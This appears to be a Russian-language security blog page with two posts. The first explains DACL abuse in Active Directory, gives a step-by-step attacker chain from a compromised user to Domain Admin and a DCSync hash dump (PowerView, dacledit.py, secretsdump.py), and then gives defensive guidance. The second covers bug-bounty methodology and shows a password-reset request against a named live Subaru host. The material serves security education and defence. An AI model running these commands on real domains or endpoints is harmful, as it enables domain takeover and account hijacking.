Dp2 (онлайн👨‍💻)

DACL-атаки в Active Directory - комплексный анализ методов атаки и защиты

2025-03-15T21:28:19.799Z

DACL (Discretionary Access Control List) атаки представляют собой серьезную угрозу для безопасности Active Directory (AD). Эти атаки позволяют злоумышленникам использовать неправильно настроенные списки контроля доступа для повышения привилегий и получения несанкционированного доступа к критическим ресурсам сети.😳

1. Основы DACL в Active Directory

1.1 Что такое DACL (Discretionary Access Control List) - это список, определяющий, какие субъекты безопасности (пользователи, группы) имеют доступ к объекту и какие действия они могут выполнять. DACL состоит из ACE (Access Control Entries), каждая из которых определяет права доступа для конкретного субъекта.
1.2 Роль DACL в безопасности AD DACL играют ключевую роль в обеспечении безопасности AD, контролируя доступ к объектам, таким как пользователи, группы, компьютеры и другие ресурсы. Неправильно настроенные DACL могут привести к серьезным нарушениям безопасности.
1.3 Типы ACE

ACE (Access Control Entries) - это отдельные записи в DACL, определяющие права доступа. Основные типы ACE включают:

ACCESS_ALLOWED_ACE: Предоставляет разрешение на определенные действия.
ACCESS_DENIED_ACE: Явно запрещает определенные действия.
SYSTEM_AUDIT_ACE: Определяет, какие действия должны быть зарегистрированы в журнале аудита безопасности.
ACCESS_ALLOWED_OBJECT_ACE: Специфичный для AD тип, позволяющий более детально контролировать доступ к свойствам объектов.

"Объектно-специфичные ACE используются только в Active Directory. В дополнение к членам структуры обычных ACE, объектно-специфичные ACE содержат дополнительные поля, такие как ObjectType (GUID, содержащий тип дочернего объекта, набор свойств или свойство, расширенное право или проверенную запись) и InheritedObjectType (указывает тип дочернего объекта, который может наследовать ACE)."

2. Практический гайд для атакующего

2.1 Инструменты для обнаружения и эксплуатации DACL-уязвимостей:

BloodHound: Визуализация и анализ путей атак в AD
PowerView: Мощный инструмент для перечисления AD
ADACLScanner: Сканирование и анализ DACL объектов AD
Adalanche: Построение графов атак на основе DACL
StandIn: Инструмент для эксплуатации DACL-уязвимостей
Impacket: Набор инструментов для работы с сетевыми протоколами
PowerSploit: Фреймворк для пост-эксплуатации Windows
SharpHound: Сборщик данных для BloodHound
dacledit.py: Инструмент для анализа и модификации DACL

a) Перечисление DACL:

Использование PowerView для получения ACL объектов:

Get-DomainObjectAcl -Identity "CN=Administrator,CN=Users,DC=domain,DC=com" -ResolveGUIDs

Применение ADACLScanner для массового сканирования DACL:

.\ADACLScan.ps1 -Base "DC=domain,DC=com" -Output CSV -Filename "acl_scan_results.csv"

Использование dacledit.py для анализа DACL конкретных объектов:

python3 dacledit.py -principal user -target "CN=Administrators,CN=Builtin,DC=domain,DC=com" -dc-ip 10.10.10.10 domain.com/user:password

2.2 Техники атаки:
a) Перечисление DACL:
Использование PowerView для получения ACL объектов
Применение ADACLScanner для массового сканирования DACL
Использование dacledit.py для анализа DACL конкретных объектов
b) Анализ путей атак:
Загрузка данных в BloodHound
Использование Adalanche для построения графов атак
Анализ выходных данных dacledit.py для выявления уязвимостей
c) Эксплуатация уязвимостей (Неправильно настроенные DACL):

WriteDACL: Позволяет изменять DACL целевого объекта, что может быть использовано для предоставления дополнительных прав.
WriteOwner: Дает возможность изменить владельца объекта, что часто позволяет получить полный контроль над объектом.
GenericAll: Предоставляет полный контроль над объектом, включая возможность изменения его атрибутов и DACL.
WriteProperty: Позволяет изменять определенные атрибуты объекта, что может быть использовано, например, для изменения членства в группах.
ForceChangePassword: Дает возможность принудительно изменить пароль пользователя без знания текущего пароля.
AddMembers: Позволяет добавлять пользователей в группы, что может быть использовано для повышения привилегий.

d) Повышение привилегий:

Добавление пользователя в привилегированную группу (например, "Domain Admins") с использованием прав GenericAll или WriteProperty.
Сброс пароля целевой учетной записи с высокими привилегиями с помощью права ForceChangePassword.
Использование делегирования Kerberos для получения доступа к ресурсам от имени привилегированного пользователя.
Применение техники Shadow Credentials для получения доступа к учетным записям путем манипуляции с атрибутом msDS-KeyCredentialLink.

2.3 Пример атаки в полевых условиях:

Первичный доступ: Получение учетных данных рядового пользователя
Перечисление: Использование PowerView и BloodHound для анализа DACL

Import-Module .\PowerView.ps1 Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}

Обнаружение уязвимости: Нахождение объекта с WriteDACL для группы "Domain Admins"
Эксплуатация: Изменение DACL для добавления контроля над группой

python3 dacledit.py -action write -principal attacker -target "CN=Domain Admins,CN=Users,DC=domain,DC=com" -rights FullControl -dc-ip 10.10.10.10 domain.com/compromised_user:password

Повышение привилегий: Добавление своей учетной записи в группу "Domain Admins"

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker' -Verbose
Использование привилегий Domain Admin для полного контроля над AD, например, выполнение DCSync атаки:

secretsdump.py domain.com/attacker:password@10.10.10.10 -just-dc-ntlm

3. Гайд для Blue Team

3.1 Инструменты для обнаружения и предотвращения DACL-атак:

Microsoft Advanced Threat Analytics (ATA): Анализирует поведение пользователей и сущностей для выявления подозрительной активности.
Varonis DatAdvantage: Предоставляет детальную визуализацию и аудит прав доступа в AD.
Tenable.ad: Специализированное решение для непрерывного мониторинга безопасности AD.
PingCastle: Инструмент для оценки уровня безопасности AD, включая анализ DACL.
Purple Knight: Бесплатный инструмент для аудита безопасности AD.
Active Directory ACL Scanner: Позволяет сканировать и анализировать DACL в AD.
Microsoft Defender for Identity: Использует сигналы AD для обнаружения продвинутых угроз.
Splunk для мониторинга событий AD: Позволяет собирать и анализировать логи событий AD для выявления аномалий.
3.2 Техники защиты:

a) Аудит и мониторинг:
Регулярное сканирование DACL с помощью ADACLScanner
Настройка аудита изменений DACL в групповых политиках
Мониторинг подозрительных изменений DACL с помощью SIEM
Отслеживание событий ID 5136 и 4662 для обнаружения изменений DACL
b) Ограничение прав:
Применение принципа наименьших привилегий
Использование Protected Users group для критических учетных записей
Ограничение делегирования Kerberos
Минимизация использования учетных записей с высокими привилегиями
c) Hardening AD:
Регулярное обновление систем и приложений
Применение рекомендаций Microsoft по безопасности AD
Использование LAPS для управления локальными админ паролями
Внедрение многофакторной аутентификации
Сегментация сети и изоляция критических систем
d) Реагирование на инциденты:
Разработка плана реагирования на DACL-атаки
Подготовка скриптов для быстрого восстановления корректных DACL
Тренировки по обнаружению и нейтрализации DACL-атак
Создание процедур для быстрого отзыва скомпрометированных учетных данных

Заключение
DACL-атаки представляют собой серьезную угрозу для безопасности Active Directory. Атакующие могут использовать различные инструменты и техники для эксплуатации уязвимостей в конфигурации DACL, что потенциально может привести к полному захвату домена. Blue Team должна применять комплексный подход к защите, включающий регулярный аудит, мониторинг, ограничение прав и быстрое реагирование на инциденты. Важно понимать, что безопасность AD - это непрерывный процесс, требующий постоянного внимания и адаптации к новым угрозам.

Bug Bounty 2025: Реальный подход к поиску уязвимостей

2025-02-13T22:10:53.704Z

🎯 Правда о современном Bug Bounty

Эффект Santiago Lopez

$1M+ на HackerOne
20-50 репортов в месяц
В основном Low/Medium баги
$250-500 за баг
До $25k в месяц

Главный принцип: количество > сложность.

🔍 Как выбрать что тестировать:

1. Правильные цели
// High Priority:
- Enterprise SaaS (Salesforce, Atlassian)
- Платежные системы
- Админ панели
- OAuth/SSO
- File Upload функционал

// Medium Priority:
- User Management
- Личные кабинеты
- Поиск/Фильтры
- API эндпоинты

// Low Priority:
- Статические страницы
- Документация
- Marketing сайты

2. "Чувствуем" продукт

Если находите маленькую ошибку в UI = копайте глубже
Если документация не совпадает с реальностью = gold mine
Если видите legacy код = stay here

💡 Практическая методология

1. Тестируем с разных сторон

ВСЕГДА используем минимум 2 аккаунта:
account1 -> делаем действие -> смотрим как видит account2

# Проверяем с разных ролей:
- free vs premium
- user vs admin
- banned vs active

# Тестируем с разных клиентов:
- Web App
- Mobile App
- Desktop Client

2. Фокусируемся на одной функции

// Пример: File Upload
1. До загрузки:
- Проверка типов файлов
- Валидация размера
- Frontend проверки

2. Во время загрузки:
- Путь сохранения
- Обработка имени
- Metadata

3. После загрузки:
- Права доступа
- Превью
- Sharing функционал

3. Проверяем новые фичи

// Признаки нового функционала:
"beta"
"new"
"coming soon"
"preview"

// Почему это важно:
- Меньше тестировщиков
- Быстрая разработка
- Меньше проверок
- Часто без валидации

🛠 Техники тестирования

1. "Спящий баг"

// Ищем параметры типа:
{
"debug": false,
"beta": false,
"admin": false
}

// Пробуем:
- Менять на true
- Добавлять новые флаги
- Следить за поведением

2. Permission Testing

# 1. Читаем документацию:
"Нужны права admin для X"

# 2. Тестируем как user:
Если работает = баг на $500

# 3. Проверяем похожий функционал:
/api/v1/admin/action1
/api/v1/admin/action2
/api/v1/admin/action3

3. Mobile API Abuse

// Мобильное API часто:
- Имеет другой бэкенд
- Меньше проверок
- Больше параметров
- Legacy эндпоинты

// Ищем:
- Разные endpoint URLs
- Дополнительные параметры
- Отсутствие валидации

🎯 Реальный пример:

Как это работает на практике:

1) Исследователи нашли админку:

codeportal.prod.subarucs.com/login.html

2) Вместо сложного тестирования - просто смотрим JS:

 code$.ajax({
    url: "/forgotPassword/resetPassword.json",
     {
        email: email,
        password: $('#new_password').val()
    }
})

3) Заметили отсутствие валидации токена:

POST /forgotPassword/resetPassword.json
{
  "email": "employee@subaru.com", 
  "password": "new"
}

Результат = $

💎 Главные принципы успеха

Регулярность > Сложность

2-3 часа каждый день
Один функционал за раз
Документируем всё

Фокус на low hanging fruits

Permission issues
XSS через обход фильтров
Простые IDOR
Basic file upload issues

Правильный выбор целей

Enterprise системы
Новый функционал
Сложные интеграции
User management

🎬 Важные советы

Делаем перерывы:

 2 часа тестирования
- 30 минут перерыв
- Смена функционала каждый день

Ведем статистику:

- Какие типы багов находятся чаще
- Где самый высокий ROI
- Сколько времени на каждый функционал

Не усложняем:

- Минимум автоматизации
- Простые инструменты
- Фокус на одной цели

Помните: Santiago Lopez стал миллионером не находя RCE, а методично тестируя простые вещи каждый день.

Всем спасибо :D